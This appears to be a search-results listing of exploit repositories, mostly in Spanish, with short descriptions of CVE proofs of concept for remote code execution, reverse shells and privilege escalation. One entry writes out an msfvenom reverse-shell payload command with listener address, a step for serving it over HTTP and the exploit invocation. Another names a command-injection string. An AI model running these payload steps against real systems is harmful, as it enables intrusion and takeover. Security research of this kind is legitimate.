36187 matches found
CVE-2024-22274-RCE
Exploit CVE-2024-22274 Este repositorio contiene un exploit para CVE-2024-22274. El exploit crea un nuevo usuario en una máquina remota a través de SSH y luego proporciona una shell root. Requisitos Go Golang instalado en tu máquina. Puedes descargarlo desde aquí. Una máquina remota con acceso SS...
CVE-2022-46169_POC
Exploit para CVE-2022-46169 Obteniendo una Reverse Shell root@kitploit: cactiexploit.py...
CVE-2024-1874
CVE-2024-1874 Prueba de concepto para CVE-2024-1874 Inyección de comandos a través del parámetro $command tipo array de procopen bypass de la corrección de CVE-2024-1874 El CVE: En las versiones de PHP 8.1. anteriores a 8.1.29, 8.2. anteriores a 8.2.20, 8.3. anteriores a 8.3.8, la corrección para...
CVE-2025-32463
📌 CVE-2025-32463 — Escalada Local de Privilegios de Sudo --chroot ID de ExploitDB: 52352 🧠 Visión General Este repositorio documenta una vulnerabilidad crítica de escalada de privilegios local LPE que afecta a las versiones Sudo 1.9.14 – 1.9.17. La vulnerabilidad se debe a una implementación...
cve-2022-3218
Paso 1 — Crear un payload REAL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Paso 2 — Servir el payload por HTTP En el mismo directorio: python3 -m http.server 80 Paso 3 — Ajustar el exploit Ejecuta así: python3 CVE-2022-3218.py 172.20.7.185...
CVE-2021-31762
..| CVE-2021-31762 |.. Descripción : Explotando un ataque de falsificación de solicitudes entre sitios CSRF para crear un usuario privilegiado a través de la función de añadir usuarios de Webmin y luego obtener una reverse shell a través de la función de procesos en ejecución de Webmin Versión...
CVE-2018-5955
CVE-2018-5955 Un exploit para CVE-2018-5955 GitStack 2.3.10 Ejecución Remota de Código No Autenticada Exploit: GitStack 2.3.10 Ejecución Remota de Código No Autenticada Fecha: 18.01.2018 Enlace del software: https://gitstack.com/ Autor del exploit: Kacper Szurek Exploit original:...
CVE-2007-2447-RCE
Este exploit te ayuda a obtener una reverse shell, explotando Samba 3.0.20 3.0.25 · Al ejecutar el script con python3 con el parámetro --help, nos pide una serie de parámetros root@kitploit: --lhost LHOST tu host ip donde se recibirá la shell --lport LPORT tu puerto puerto donde se recibirá la...
Offensive-lab-2
Laboratorio de seguridad ofensiva : ProFTPD 1.3.3c Backdoor Exploit Flag de Root 1. Introducción y Objetivos Este informe detalla la prueba de penetración realizada en una máquina virtual VM Linux vulnerable, centrándose en identificar una vulnerabilidad de servicio de alto riesgo que permitía...
ActiveMQ_putshell-CVE-2016-3088
ActiveMQputshell-CVE-2016-3088- ActiveMQputshell obtiene directamente webshell Uso： python3 ActiveMQputshell.py -u url...
OffensivePascal-CVE-2010-2075
CVE-2010-2075 Implementación en FreePascal de CVE-2010-2075 Vulnerabilidad UnrealIRCd 3.2.8.1 RCE mediante el envío de "AB; command" a cualquier servicio en escucha. Cualquier comando que envíes se ejecuta con el mismo usuario con el que se ejecuta UnrealIRCD. Esta implementación lanza una revers...
CVE-2023-22809
CVE-2023-22809 Referencia: https://vulners.com/cve/CVE-2023-22809 Título del Exploit: sudo 1.8.0 - 1.9.12p1 - Escalada de Privilegios Autor del Exploit: n3m1.sys CVE: CVE-2023-22809 Fecha: 2023/01/21 Página del Proveedor: https://www.sudo.ws/ Enlace del Software:...
bepr
bepr bepr is a tiny authenticated client/server reverse shell program over outbound WebSocket connections. A single binary cover all 3 mode: server mode, client mode, and user mode. It is packaged with installation direction for rpm, deb, and pkg, it comes in 1MB. I created bepr because I'm...
InfluxDB-Exploit-CVE-2019-20933
InfluxDB Exploit CVE-2019-20933 Exploit for InfluxDB CVE-2019-20933 vulnerability, InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret aka shared secret. Exploit check if serv...
CVE-2022-31814
CVE-2022-31814 Exploit actualizado - pfBlockerNG = 2.1.426 RCE sin autenticación CVE-2022-31814 Descripción Este script es un exploit de prueba de concepto para pfBlockerNG = 2.1.426 que permite la ejecución remota de código. Toma una sola URL objetivo o una lista de URLs, intenta subir un shell...
CVE-2022-0848-RCE
CVE-2022-0848 Ejecución Remota de Código RCE en part-db 0.5.11 Cambia el host en el archivo bash y ejecútalo, luego obtén la shell mediante RCE...
CVE-2020-15227
CVE-2020-15227 ¡DESCARGO DE RESPONSABILIDAD! No me hago responsable de su uso en un entorno real, así que por favor NO lo haga. Esta cosita es solo para demostrar y para pruebas para administradores de sistemas. Hice este exploit según la publicación de un CVE de David Grudl el fundador de Nette...
CVE-2019-9978
Social Warfare Plugin Wordpress 3.5.2 Ejecución Remota de Código Wordpress Social Warfare Ejecución Remota de Código AUTO SUBIR SHELL Fecha: marzo de 2019 Enlace de descarga: https://wordpress.org/plugins/social-warfare/ Referencia: https://wpvulndb.com/vulnerabilities/9259 Versión: CVE: 2019-997...
EFS_CVE-2021-43217
EFS Bypass VulnerabilityCVE-2021-43217 Objective This vulnerability demonstration aimed to establish a controlled environment for simulating an EFS bypass on windows 10 through Kali Linux. The primary focus was to perform a vulnerability pentration and show the possiblity of controlling a desktop...